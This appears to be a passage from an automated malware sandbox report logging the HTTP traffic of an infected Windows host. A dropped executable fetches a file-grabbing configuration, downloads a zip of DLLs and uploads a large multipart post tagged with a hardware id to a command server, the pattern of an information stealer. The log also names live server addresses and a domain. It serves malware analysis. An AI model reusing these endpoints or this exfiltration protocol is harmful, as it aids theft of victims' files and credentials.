Nov 3, 2022 12:46:51.279289961 CET	798	IN	Data Raw: a8 30 41 00 dc 60 40 00 43 5f 40 00 b8 5e 40 00 fd 65 40 00 95 66 40 00 7b 61 40 00 26 63 40 00 cc 5e 40 00 a8 30 41 00 d1 5e 40 00 8c 48 40 00 c5 6b 40 00 f8 48 40 00 fb 6c 40 00 f3 6c 40 00 44 49 40 00 33 6d 40 00 f3 6c 40 00 90 49 40 00 a9 6f Data Ascii: 0A`@C_@^@e@f@{a@&c@^@0A^@H@k@H@l@l@DI@3m@l@I@o@l@I@p@l@vector<T> too longbad castios_base::eofbit setios_base::failbit setios_base::badbit setLT
Nov 3, 2022 12:46:51.279316902 CET	800	IN	Data Raw: 10 00 10 00 10 00 10 00 10 00 10 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 81 01 81 01 81 01 81 01 81 01 81 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 Data Ascii: H
Nov 3, 2022 12:46:51.279341936 CET	801	IN	Data Raw: a8 30 41 00 b0 1e 40 00 88 15 43 00 57 9b 40 00 a4 1e 40 00 88 15 43 00 e2 2d 41 00 98 1e 40 00 88 15 43 00 8a 2b 41 00 90 1e 40 00 88 15 43 00 cc 2a 41 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e Data Ascii: 0A@CW@@C-A@C+A@CA !"#$%&'()+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~_.,._;==;e+000~PAGAIsProce
Nov 3, 2022 12:46:51.279367924 CET	802	IN	Data Raw: 00 00 00 4a e2 3f 00 00 00 00 00 20 e2 3f 00 00 00 00 00 20 e2 3f 00 00 00 00 00 f8 e1 3f 00 00 00 00 00 f8 e1 3f 00 00 00 00 00 d0 e1 3f 00 00 00 00 00 d0 e1 3f 00 00 00 00 00 a8 e1 3f 00 00 00 00 00 a8 e1 3f 00 00 00 00 00 82 e1 3f 00 00 00 00 Data Ascii: J? ? ?????????\?\?6?6???????????b?b?B?B? ?
Nov 3, 2022 12:46:51.279396057 CET	804	IN	Data Raw: 00 38 fa fe 42 2e e6 3f 30 67 c7 93 57 f3 2e 3d 00 00 00 00 00 00 f0 3f 7f 02 35 c2 68 21 a2 da 0f c9 3e 40 ff ff ff ff ff ff ef 7f 00 00 00 00 00 00 10 00 00 00 00 00 00 00 98 c0 00 00 00 00 00 00 98 40 00 00 00 00 00 00 f0 7f 00 00 00 00 00 00 Data Ascii: 8B.?0gW.=?5h!>@@a@tK@l@L@bad exceptionEncodePointerKERNEL32.DLLDecodePointerFlsFreeFlsSetValueFlsGetValueFlsAllocCorExitProcessmsco
Nov 3, 2022 12:46:51.279427052 CET	805	IN	Data Raw: 63 6b 20 65 72 72 6f 72 0d 0a 00 00 00 00 52 36 30 31 36 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 74 68 72 65 61 64 20 64 61 74 61 0d 0a 00 0d 0a 54 68 69 73 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 68 61 73 20 72 Data Ascii: ck errorR6016- not enough space for thread dataThis application has requested the Runtime to terminate it in an unusual way.Please contact the application's support team for more information.R6009- not enough space for env
Nov 3, 2022 12:46:51.279453993 CET	806	IN	Data Raw: 69 73 68 2d 76 65 6e 65 7a 75 65 6c 61 00 00 00 73 70 61 6e 69 73 68 2d 75 72 75 67 75 61 79 00 73 70 61 6e 69 73 68 2d 70 75 65 72 74 6f 20 72 69 63 6f 00 73 70 61 6e 69 73 68 2d 70 65 72 75 00 00 00 00 73 70 61 6e 69 73 68 2d 70 61 72 61 67 75 Data Ascii: ish-venezuelaspanish-uruguayspanish-puerto ricospanish-peruspanish-paraguayspanish-panamaspanish-nicaraguaspanish-modernspanish-mexicanspanish-hondurasspanish-guatemalaspanish-el salvadorspanish-ecuadorspanish-dom
Nov 3, 2022 12:46:51.279483080 CET	808	IN	Data Raw: 40 00 45 4e 49 00 a8 34 40 00 49 54 53 00 9c 34 40 00 4e 4f 52 00 88 34 40 00 4e 4f 52 00 74 34 40 00 4e 4f 4e 00 5c 34 40 00 50 54 42 00 48 34 40 00 45 53 53 00 38 34 40 00 45 53 42 00 28 34 40 00 45 53 4c 00 14 34 40 00 45 53 4f 00 00 34 40 00 Data Ascii: @ENI4@ITS4@NOR4@NORt4@NON\4@PTBH4@ESS84@ESB(4@ESL4@ESO4@ESC3@ESD3@ESF3@ESE3@ESG3@ESH3@ESMx3@ESNd3@ESIT3@ESA@3@ESZ03@ESR3@ESU3@ESY2@ESV2@SVF2@DES2@ENG2@ENU2@ENU2@U
Nov 3, 2022 12:46:51.319041014 CET	809	IN	Data Raw: 74 6f 72 27 00 00 00 00 60 76 69 72 74 75 61 6c 20 64 69 73 70 6c 61 63 65 6d 65 6e 74 20 6d 61 70 27 00 00 60 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 60 76 65 63 74 6f 72 20 64 65 Data Ascii: tor'`virtual displacement map'`vector vbase constructor iterator'`vector destructor iterator'`vector constructor iterator'`scalar deleting destructor'`default constructor closure'`vector deleting destructor'`vbase dest

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	49708	95.217.246.41	80	C:\Users\user\AppData\Local\Temp\5487.exe

Timestamp	kBytes transferred	Direction	Data
Nov 3, 2022 12:47:16.299468994 CET	5048	OUT	GET /1752 HTTP/1.1 Host: 95.217.246.41
Nov 3, 2022 12:47:16.438991070 CET	5048	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Nov 2022 11:47:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 64 0d 0a 31 2c 31 2c 31 2c 31 2c 30 2c 39 66 31 64 35 64 38 35 63 35 34 30 61 38 31 38 36 64 36 35 30 33 64 31 34 66 66 65 38 33 31 39 2c 31 2c 31 2c 31 2c 31 2c 30 2c 44 65 66 61 75 6c 74 3b 25 44 4f 43 55 4d 45 4e 54 53 25 5c 3b 2a 2e 74 78 74 3b 35 30 3b 74 72 75 65 3b 6d 6f 76 69 65 73 3a 6d 75 73 69 63 3a 6d 70 33 3a 65 78 65 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d1,1,1,1,0,9f1d5d85c540a8186d6503d14ffe8319,1,1,1,1,0,Default;%DOCUMENTS%\;*.txt;50;true;movies:music:mp3:exe;0
Nov 3, 2022 12:47:18.578170061 CET	5049	OUT	GET /815243149147.zip HTTP/1.1 Host: 95.217.246.41 Cache-Control: no-cache
Nov 3, 2022 12:47:18.616856098 CET	5050	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Nov 2022 11:47:18 GMT Content-Type: application/zip Content-Length: 2685679 Last-Modified: Mon, 12 Sep 2022 13:14:59 GMT Connection: keep-alive ETag: "631f30d3-28faef" Accept-Ranges: bytes Data Raw: 50 4b 03 04 14 00 00 00 08 00 24 56 25 55 2b 6d 5c 08 39 7c 05 00 50 75 0a 00 0b 00 00 00 66 72 65 65 62 6c 33 2e 64 6c 6c ec bd 0f 5c 54 e7 95 37 3e 97 19 61 d0 89 77 28 34 21 29 55 48 68 ab ad 4d e7 3a a6 91 48 13 8c 0c 90 c4 31 18 1c 35 bb 4e 62 ba d6 f5 75 f3 26 46 99 c4 76 33 2d 64 20 ce e3 75 5a 92 d5 d6 6e b5 75 df b2 5d f7 7d e9 bb b4 ab c4 b4 da cc 80 85 11 29 0c 4a 61 50 aa 24 a1 66 28 6c 3b 40 2a ff 52 e6 77 ce 79 ee 9d 19 40 52 b3 bf ee 2f ed ef b3 f9 44 e6 fe 7d 9e f3 9c e7 fc f9 9e f3 fc b9 d6 bf da ab 11 34 1a 8d 4e 33 fd bf 3c cd 1f ff 6f 2f fc 5b b8 f8 27 0b 35 27 92 7f 91 75 4a 58 fb 8b ac 0d 3b fe c7 9e cc 5d bb 9f fd db dd 4f fd cf cc bf 79 ea 99 67 9e 2d cd fc e2 97 32 77 3b 9e c9 fc 1f cf 64 e6 3f 5a 92 f9 3f 9f dd f6 a5 bb b3 35 9a 62 8b 46 b3 56 48 d4 8c ac f8 c8 df a8 e5 f5 6a ee cc 5a 20 2c 84 42 f5 1a cd 8a 04 ba b6 eb 23 70 6c 8c 56 69 a4 63 b8 95 48 54 c7 7e 35 81 f9 d4 88 f3 7f 98 0f b7 f3 56 d3 4b 46 fe 0a ff e5 3f 45 19 f3 35 25 f0 fb 1d f8 f5 e3 c5 aa f9 9a bd da b8 46 15 cc d7 14 7f 0e 7e 8f cd d7 84 ef d2 68 0e de 3a 5f 93 a1 99 fb 3f 7d a6 5e 73 2c ee bc 7a d1 7c 4d 9e 30 f7 f3 77 97 7e 69 6f 29 fc 1e 32 28 ed 5a a8 9f c5 fc 4c 8d 66 eb dd bb b7 3d 55 fa 94 46 73 36 11 1a 0b 75 68 f4 f0 8b bc 98 de 47 79 77 f3 c7 34 b9 05 f0 c7 34 9f 78 a3 b9 63 fe cc e7 bc 77 9b 4c 7f b3 fd 6f 95 aa ca 94 e7 32 66 3d 97 77 f7 ee 3d bb b1 43 88 27 55 9c a7 9a 45 37 7a ee 4b 4f 3f fb 37 1a e2 11 f2 4a 03 7d aa b9 73 d6 73 0f 6a fe fb bf 3f eb ff 6c ec d7 3b 1e 05 79 0d 0d 2f d0 6b 5c 67 75 95 de d2 85 ac 6c 25 5c 71 79 45 57 6f d8 de b0 23 b5 37 12 09 35 f1 db 92 d7 de d0 12 ff 1f bc bf 69 a3 6c d1 c3 7b 8b 64 47 86 ec 4c 93 6d 46 d9 6a a8 8c 94 de 39 2c 1a 93 86 c5 94 32 13 94 36 b0 64 c7 3c 2c e7 6b bc 9c 53 11 f8 6f e0 93 4d 65 2b e0 de 0f e0 bf a6 32 93 72 b4 d3 b8 71 a7 66 a7 e6 b1 f5 c5 a1 07 be 99 08 0f 67 3c f1 a4 bd 21 ae be 92 4d 1b 39 c9 0f 44 49 36 b1 26 85 e8 26 51 ba ee 7a 27 5c fa 77 b2 85 28 b1 1b 64 ab be f2 72 e9 62 20 46 0b c4 ec 23 62 3e c1 1b 35 3c 9f 37 ea fa 40 6e d3 be 28 25 fb 62 94 3c 86 94 14 af df 14 3a 79 88 28 81 aa 8c 91 d7 b0 a2 50 35 7f 77 20 81 4d b1 f0 13 4f fe b5 bd 21 8e 1f 0e 7d e5 f5 d2 4c d9 69 d8 a9 d9 18 7a fd 1f f1 5d 3d 70 64 61 a4 8e de dd c1 df c5 76 f1 f6 b8 fa c6 5c 83 c5 6c 6d f6 32 d9 9a fe 4f 27 4c f3 8d 52 88 e5 67 17 35 e5 67 af 40 23 e1 1a 37 ee be 9d f9 5d bd 49 8e 8f 78 be ac 5f e5 34 3e 9f b6 43 0b 4d e8 ff 31 e8 f1 0e 1d 1e 1d 87 23 d7 8b d9 cb 34 62 c5 61 3c 74 ea e1 e8 eb 70 24 3b d2 2a af 8b 15 2e 38 64 17 d9 98 ab 77 ac 38 d4 9a ac b0 4e ac d8 8b d7 5f cc ce 54 18 94 9f bd 92 d5 bb ea f5 50 7d b6 ec 4c df e4 fb 9d 76 e3 63 a1 27 80 62 79 6d b6 c9 75 d6 30 7a 15 9e 36 49 5e a0 8d 0c 23 fc a6 2b bf 69 ca af 51 f9 35 28 bf 7a e5 97 8c 8f 74 79 60 f1 f6 bb c5 c5 15 24 7f 72 7e f6 12 97 57 28 6b 88 b8 c6 12 d9 90 58 a1 45 72 e0 62 59 83 f0 06 da d1 81 a7 e0 4c b7 3d ee f9 0c 53 7e f6 4a f8 4d 87 df 1c f8 4d 83 df fb e0 d7 08 bf ab e0 d7 00 bf b9 f0 ab 87 df 2f c0 af 0e 7e ef 37 6d c9 7e 00 8e 4d c2 18 d4 e6 6a 82 0a 05 d7 98 20 56 2c 83 3a a0 e5 ba 71 6a 7a de 4e a3 07 5e 2e 86 9f 0d d9 79 8f 15 Data Ascii: PK$V%U+m\9\|Pufreebl3.dll\T7>aw(4!)UHhM:H15Nbu&Fv3-d uZnu]})JaP$f(l;@Rwy@R/D}4N3<o/['5'uJX;]Oyg-2w;d?Z?5bFVHjZ ,B#plVicHT~5VKF?E5%F~h:_?}^s,z\|M0w~io)2(ZLf=UFs6uhGyw44xcwLo2f=w=C'UE7zKO?7J}ssj?l;y/k\gul%\qyEWo#75il{dGLmFj9,26d<,kSoMe+2rqfg<!M9DI6&&Qz'\w(drb F#b>5<7@n(%b<:y(P5w MO!}Liz]=pdav\lm2O'LRg5g@#7]Ix_4>CM1#4ba<tp$;.8dw8N_TP}Lvc'bymu0z6I^#+iQ5(zty`$r~W(kXErbYL=S~JMM/~7m~Mj V,:qjzN^.y
Nov 3, 2022 12:47:18.616895914 CET	5051	IN	Data Raw: 47 4a b3 f3 58 6b 68 f4 db d8 83 e9 ac 1e f8 55 f9 30 48 2e bc 01 0f c3 2b ba a9 8a cb 40 75 e5 97 e0 22 56 35 05 0f ac e5 c7 fa 29 af c3 8e e4 c0 ef 76 24 0f 7e 5f 40 72 f1 99 03 bc 29 e9 3a 01 5a 97 8e 8d 4a c3 56 67 a8 4c 8a 63 9a 61 06 53 89 Data Ascii: GJXkhU0H.+@u"V5)v$~_@r):ZJVgLcaSNE"^}m~0f~8WHcuME"K\|$vv2>L6&f`oSER~^/K:%/%&MC6zI?:b ='3pl%MQqL
Nov 3, 2022 12:47:18.616946936 CET	5053	IN	Data Raw: 39 8d a5 f7 3d b6 b1 38 94 09 bd 30 f0 59 52 d1 81 fb 5e 47 bd 86 67 d6 87 f6 68 e2 54 17 9f 76 18 4a 00 6e 86 fe 4d a3 a8 68 10 f5 b2 a4 38 b4 45 13 27 43 ff 38 95 04 da ed 3a 9b 4d 32 c4 e5 87 03 ce fb 00 70 ca 8b 00 ec 66 cb 05 3a b9 c8 10 f9 Data Ascii: 9=80YR^GghTvJnMh8E'C8:M2pf:lqPiwGyGK$yMX!FYiP`l6r]b c\8[z>UU}XXl#=x~>;JkWHE4tG&n
Nov 3, 2022 12:47:18.616996050 CET	5054	IN	Data Raw: 86 fe 8e 3f 47 2f 6d 0c 3d 4b 67 fa fe f3 c8 d2 33 d3 59 ca 4e 0e c2 f9 c6 50 1b 3d 63 f8 29 de 88 37 f7 79 d0 67 06 60 b1 7e 53 a8 86 3f 22 8c 2e 1d c9 19 79 21 54 42 17 bf 35 3a 8d c5 54 da 74 2e ff 17 f1 97 8d 72 5e fe ea 5d 04 6f e5 67 f5 2a Data Ascii: ?G/m=Kg3YNP=c)7yg`~S?".y!TB5:Tt.r^]og*/1>`Sjcuj,C!KZNxYV]X }a'bXa(Y9%\}2rfCh~7V3-IW4bS$:Xg3?Mtugi4MX?uy([))AF
Nov 3, 2022 12:47:18.617033005 CET	5055	IN	Data Raw: 4f be 36 81 5d 81 87 d5 27 bb d1 b0 ac 58 8c 86 65 45 12 99 95 74 7a 05 8c 1b bc 05 c2 a0 d7 c2 8b b6 90 30 ec aa 07 b7 75 41 76 c0 f5 8c 5b 35 dd 50 09 be 9a 4b 36 29 f7 36 34 86 19 cb 35 57 c5 ba 2e 7a 64 c5 ad be 6b c6 e4 46 4e a2 10 70 79 75 Data Ascii: O6]'XeEtz0uAv[5PK6)645W.zdkFNpyuH!0GU'eGfR,W{Ps%##B=kda5sju,}bWdY M"<H[>mb%Tpbdy}D?f}8\|](+m,tP/txYCA
Nov 3, 2022 12:47:18.617069006 CET	5057	IN	Data Raw: cc 93 8e 07 8e 13 42 ab 5c 94 cf 3c 2b 54 7d 94 cf 90 10 4e 31 c7 89 54 db 61 e9 22 b3 1f 64 17 65 6a 27 34 a2 92 57 38 a8 b5 1e 04 44 00 1e 25 05 b8 d3 0b 0a e2 38 2c 75 b2 71 b1 7a 48 8f 7a cf 86 95 8a 76 15 b1 93 2b f1 c0 79 02 2c d0 ae b5 ec Data Ascii: B\<+T}N1Ta"dej'4W8D%8,uqzHzv+y,dAb~$EQ$V5#`AsMn\|`]buU[;VO BQ@>~I";IP1(Y.t\<%Zk3g\|yt3d"v~-CblIi
Nov 3, 2022 12:47:18.617106915 CET	5058	IN	Data Raw: 9b db d8 43 9b 39 c1 47 f7 72 67 48 7a 0b 5a 6b 09 22 de 0e 4a 6d 52 63 9c bd c2 22 fb 88 d8 be d4 33 08 60 05 e8 dc 00 41 24 10 e9 66 d6 2e 56 a3 8d aa 11 6b c0 62 51 d1 68 4d bb d0 9a da 82 29 20 71 41 29 30 dd 9a 32 9b 5b b6 9e 50 f9 ea e7 7c Data Ascii: C9GrgHzZk"JmRc"3`A$f.VkbQhM) qA)02[P\|r\|iNxVEFHSFrSOP~yL):)=,L("0rkz}JG4(Tj*4qa9H020!:l;'Q%pR&ShbTZcL
Nov 3, 2022 12:47:18.617156029 CET	5060	IN	Data Raw: 85 bb 15 cc 18 74 f0 e2 50 53 a5 4e 85 5e db 71 22 96 aa 50 0b 46 1b 7c 5a 9a e4 06 fb 12 ef ff 83 9c e6 23 84 04 d6 46 14 24 40 81 a0 b5 96 60 eb e6 28 6c b5 bb a5 06 c5 0f b4 a2 81 0d d2 08 8f 17 f3 b3 5e 36 44 bd 0f 0a 1e e6 b0 75 94 87 58 04 Data Ascii: tPSN^q"PF\|Z#F$@`(l^6DuX\lTJ.:1AXjA9rYuyfV ^),AU;X+-0l#ijA@\)R<S"8ZuCe9kdyv2{JUd.vH<gWX4Vi\|.48MpPMF
Nov 3, 2022 12:47:18.617206097 CET	5061	IN	Data Raw: 9b 78 da 8d b0 88 f3 2c 4a 3d 95 ea 43 e3 7a 1e f4 ae 9b 47 86 a8 87 3c 97 cd 21 ee 29 35 2d 14 e6 69 21 ad a5 6c 9a 71 ad 42 e3 5a 45 7a 15 b5 ac 4a c0 09 71 83 34 4a 63 2e 93 6c 88 14 2a c8 f3 58 dc b6 6e 50 6d eb b6 68 1e ab 11 4c 86 23 8c 7d Data Ascii: x,J=CzG<!)5-i!lqBZEzJq4Jc.lXnPmhL#}Us4MqH5NLAIAy' \8-s:[E\W^{}Jp7W]JN+1bC6eUEHHt,^[07+u~s*M)!{<+D
Nov 3, 2022 12:47:18.617244005 CET	5062	IN	Data Raw: 0e a0 f1 55 93 1a d1 e1 cd 90 30 15 17 c3 cb d6 32 69 48 b6 1f 80 00 c6 cf c5 f8 bc 9e 75 6a 4f 92 f7 39 b4 4c 9d 1a c6 a5 98 26 6d 41 64 d8 2c 8d aa fe ed 08 f7 6f dc f5 87 84 09 c5 fa b6 f2 74 e1 45 94 df 4b 1c d9 60 34 73 80 22 f9 3c 55 c0 72 Data Ascii: U02iHujO9L&mAd,otEK`4s"<Urc'hV>MO&ygS#N!=4j0-m>[]:TNiCHg'sO,p[%lU5u<MHqxV_A6iCQYH{qWfD-^'E
Nov 3, 2022 12:47:18.655428886 CET	5064	IN	Data Raw: c6 14 e5 d5 4a 53 f1 59 84 21 8c 78 47 a5 7a cc 20 e0 ec b5 a0 1e bb e9 bc 3e 06 2e f8 e0 89 a3 2f a5 95 4f 30 ec 44 11 1d a5 04 af 3a af 80 e3 59 c7 b1 68 28 ad cc 2b 60 ed c0 f9 ab 00 34 9a 69 c2 b1 b2 18 a4 8d 83 da 69 e9 2f 61 32 a5 3d 3e 99 Data Ascii: JSY!xGz >./O0D:Yh(+`4ii/a2=>`.MBw$g\U%xEcf@18suB,7jcY7zXZ0oD;AKFLS5%kMZU\YQXM+P@I0_!/[_j+u/5{S #u1
Nov 3, 2022 12:47:42.529248953 CET	7938	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----6180824849005615 Host: 95.217.246.41 Content-Length: 141137 Connection: Keep-Alive Cache-Control: no-cache
Nov 3, 2022 12:47:42.529422045 CET	7949	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 31 38 30 38 32 34 38 34 39 30 30 35 36 31 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 72 6f 66 69 6c 65 22 0d 0a 0d 0a 31 37 35 32 0d 0a 2d 2d Data Ascii: ------6180824849005615Content-Disposition: form-data; name="profile"1752------6180824849005615Content-Disposition: form-data; name="profile_id"0------6180824849005615Content-Disposition: form-data; name="hwid"cabc9f875a7c
Nov 3, 2022 12:47:42.567687988 CET	7958	OUT	Data Raw: 6e 34 2b 50 4a 58 39 47 66 2f 6f 7a 6d 4c 2f 64 62 54 33 6c 34 69 53 58 72 62 59 7a 78 4a 64 39 68 2f 6d 4c 4b 50 46 36 5a 72 33 46 59 70 64 38 6a 4e 54 4f 54 6b 71 34 6a 59 75 43 6e 76 70 48 4b 34 4a 39 63 61 5a 39 6a 4f 38 73 70 31 71 34 2b 66 Data Ascii: n4+PJX9Gf/ozmL/dbT3l4iSXrbYzxJd9h/mLKPF6Zr3FYpd8jNTOTkq4jYuCnvpHK4J9caZ9jO8sp1q4+fzo3cCmhMrXFhpevyet3hTjigsqa6ZGudP1GwHPv4jwN6WLRzNEcs/QPIWjAqX38lf9Yv8dVc/6aki3muiDoIKYm6VBE5ue0AXCenDUykx17n/ejCD3D3a4TGfGOjsmR1n9LOejR/8w0USFfGPCGony2tO4acJbili
Nov 3, 2022 12:47:42.567688942 CET	7973	OUT	Data Raw: 36 74 36 52 46 36 74 52 30 37 72 43 55 65 7a 5a 4b 38 70 54 75 6d 77 6d 4a 2b 39 66 5a 75 50 44 7a 54 66 4f 6b 77 6f 6a 42 63 4f 51 44 4f 4d 6d 75 62 56 46 4a 52 4a 46 71 66 31 51 69 49 48 2f 68 79 54 43 49 31 44 34 7a 38 50 74 39 64 62 32 35 2b Data Ascii: 6t6RF6tR07rCUezZK8pTumwmJ+9fZuPDzTfOkwojBcOQDOMmubVFJRJFqf1QiIH/hyTCI1D4z8Pt9db25+PcADZwh5ZYMHRp6Z46vgqaV0cAy93SpJaHRcvzMImsvSpFGfSliAQ0IBr23PHyCkQR/ef9x5fRoO+Xus09nCs4vIHoYyr5PKU2RR8gwZzRksNRRsDrt5T+mCS78ienA8LtY6Y5hUgzvqaqramCHY4KJwXlpGKsPHs
Nov 3, 2022 12:47:42.606352091 CET	7991	OUT	Data Raw: 67 4d 47 7a 79 6e 59 74 77 7a 70 45 6d 71 74 43 56 67 72 43 51 59 46 42 52 69 31 49 31 64 6f 7a 7a 31 35 69 76 2f 63 51 58 52 45 64 4a 52 56 4e 43 79 51 2f 46 6c 77 57 70 6a 74 72 32 47 53 49 71 74 4e 6b 38 78 75 37 39 49 42 49 4e 4b 54 30 58 5a Data Ascii: gMGzynYtwzpEmqtCVgrCQYFBRi1I1dozz15iv/cQXREdJRVNCyQ/FlwWpjtr2GSIqtNk8xu79IBINKT0XZfsxOk0Cdvts2x+vphvT1acq6aCsyMiZuLGEQjY5BJUhbmZdvgD/rirSrCygU0ALm2eBATwniDyqWwo7GILVuikg/B6Msd+BhRhYO4mBsLkfWl8bGSCiE7MI0dEBWWuKmn+AViudt869U5BYyo4I5TJT0+N2xOxDA4
Nov 3, 2022 12:47:42.606509924 CET	7999	OUT	Data Raw: 62 59 79 62 75 69 6a 62 69 37 5a 65 51 46 37 48 52 65 77 36 62 54 55 52 56 44 59 50 50 39 65 70 48 70 50 6f 66 62 52 39 5a 5a 79 52 71 48 4c 54 58 64 6b 37 74 4f 54 35 45 62 79 30 59 36 4b 48 59 30 30 4f 31 48 31 42 61 6f 42 76 64 49 6d 33 73 30 Data Ascii: bYybuijbi7ZeQF7HRew6bTURVDYPP9epHpPofbR9ZZyRqHLTXdk7tOT5Eby0Y6KHY00O1H1BaoBvdIm3s0KOp7LH5om7dG3/b2AbDfBgrzdTWE1+Hodf+TNPMFjzPY4TlVYRwXnGZ+3OzSjN/LmyKpr+uEZwlthlNc99SP7mGa8IE0kzoZLVffDMpRJSxJothAI8Kep3YPYznJFKfnNQMraQZpnfEgoMpPB4g3PTJ6BBaLtrWYc
Nov 3, 2022 12:47:42.606509924 CET	8021	OUT	Data Raw: 6e 72 72 59 70 38 57 72 69 67 50 47 36 30 65 64 31 36 46 71 70 7a 69 45 50 37 66 33 76 74 34 66 6d 42 67 79 58 68 63 6b 38 51 79 6d 4e 52 69 63 55 6a 58 61 64 67 37 52 74 52 42 4c 50 6b 52 68 41 48 63 64 4c 77 62 78 31 32 69 64 44 69 74 65 34 6c Data Ascii: nrrYp8WrigPG60ed16FqpziEP7f3vt4fmBgyXhck8QymNRicUjXadg7RtRBLPkRhAHcdLwbx12idDite4l/oa9pFPKhILBTuk/X0Z3FQRjlCOnOWa2wkUfl47FwfOu8zIYgnR0zvqCRnMimU1EM2/H5IB3BkBhwMn36go+kY7vtNpRRRgyXDofbsCpQH1V+/RAvrPdeM86G/l3wVpPiiPZ2sKGSwVHJkw05QOEMRy0Srj7vNFun
Nov 3, 2022 12:47:42.644709110 CET	8032	OUT	Data Raw: 54 32 35 76 6f 4d 49 41 76 39 68 59 78 66 39 35 44 6d 61 61 59 77 31 4d 4a 68 49 5a 54 33 70 45 51 65 52 66 6e 36 36 38 50 37 6c 6e 70 4a 37 49 57 57 6a 33 78 51 4a 33 6c 36 74 51 62 76 4f 4a 39 4f 35 63 47 41 6f 32 2b 2f 6a 57 58 69 70 71 31 71 Data Ascii: T25voMIAv9hYxf95DmaaYw1MJhIZT3pEQeRfn668P7lnpJ7IWWj3xQJ3l6tQbvOJ9O5cGAo2+/jWXipq1qz40nGixrk2Kpn7zyXBZEh0/CGupPEy8BXA3H84f5lxgu8lCfpcSNPI2bnxUr9+8If9v10a2giCT58dCDIBgukP65M4drBPWkVVzgA/ffQu1GdjTBj5T7nyjvN8PGB8dldN1eTb1t2vnm5CJJbkI23LG/VPGsquZay
Nov 3, 2022 12:47:42.644783974 CET	8047	OUT	Data Raw: 31 6f 4f 63 5a 2b 36 72 79 4a 41 72 75 37 43 62 7a 41 79 65 42 70 42 48 70 64 42 6b 7a 34 46 68 7a 77 6f 50 72 30 73 70 39 58 34 39 6e 63 64 43 47 45 36 32 35 55 31 7a 79 74 42 4a 35 45 33 45 54 79 58 6f 48 47 75 54 5a 4f 61 79 76 36 4a 39 62 50 Data Ascii: 1oOcZ+6ryJAru7CbzAyeBpBHpdBkz4FhzwoPr0sp9X49ncdCGE625U1zytBJ5E3ETyXoHGuTZOayv6J9bPKh7UVqNHrrMLadyVjjGoDPONi1b4zShPfYqIHNmHqwLjaJSgUt04+k/f3KUv1sU1b0co1rypSJ2rPBEqngYp46W2dxyZzmYCosmIEyNstt0gHQN0QPJTCuLMLL/NROTtHU6NCNtUcXDYn9a+dnXn3WurmyC75pJtc
Nov 3, 2022 12:47:42.644819975 CET	8054	OUT	Data Raw: 2f 35 54 4a 41 6c 4f 34 4e 51 57 6c 42 4c 4f 44 45 4c 41 68 6d 51 47 59 53 67 6b 74 4d 79 78 50 63 4f 7a 78 6b 38 33 31 37 43 47 45 4a 31 73 4d 79 44 55 58 49 4d 4e 53 68 32 5a 6e 31 67 5a 55 6f 79 56 43 33 51 31 6e 78 59 62 43 77 75 63 6e 6f 76 Data Ascii: /5TJAlO4NQWlBLODELAhmQGYSgktMyxPcOzxk8317CGEJ1sMyDUXIMNSh2Zn1gZUoyVC3Q1nxYbCwucnovBP46xWTSyzThzABkpidQzWFitXQ2gw0E+WmEAoSiE+URbmRdR+SwzJNgEzrmL0JYHMzA7ASMH1yVkNHCIKAy73DwH+4TU74aCbiGWH8X4d+KMebQOodKwyoC/N+MmNsJuLx7SgAhMyDyXFZICQ6znStQ/IQdGizF4
Nov 3, 2022 12:47:42.644983053 CET	8063	OUT	Data Raw: 73 51 58 2f 43 78 53 38 6e 68 44 57 79 55 7a 75 73 57 4b 77 41 5a 71 58 30 47 56 79 65 73 70 35 75 50 43 51 74 34 59 70 61 43 30 65 67 56 76 44 68 49 41 4f 7a 56 52 53 33 59 6d 53 45 42 66 6a 42 2b 64 4f 56 30 4f 61 54 47 57 73 79 66 66 48 41 35 Data Ascii: sQX/CxS8nhDWyUzusWKwAZqX0GVyesp5uPCQt4YpaC0egVvDhIAOzVRS3YmSEBfjB+dOV0OaTGWsyffHA5T6D/0JN/Vsci2j1hbLjt8ZHKothLQJsixLckM+QjgnkfcWRlUcdZ4uBmKJ0eTYS3Px3VZ6Fx1cMD5mdrvo2vI/VBQUYarIgiVkvQwKCVEa4JOwV1jXI0tz0RhihaEZTWTTDpnBWtD4AmDxwBE9zyWGhywKUxqwaxb
Nov 3, 2022 12:47:42.820983887 CET	8079	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Nov 2022 11:47:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	49710	193.106.191.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 3, 2022 12:47:22.380043030 CET	7898	OUT	POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://starvestitibo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 617 Host: starvestitibo.org
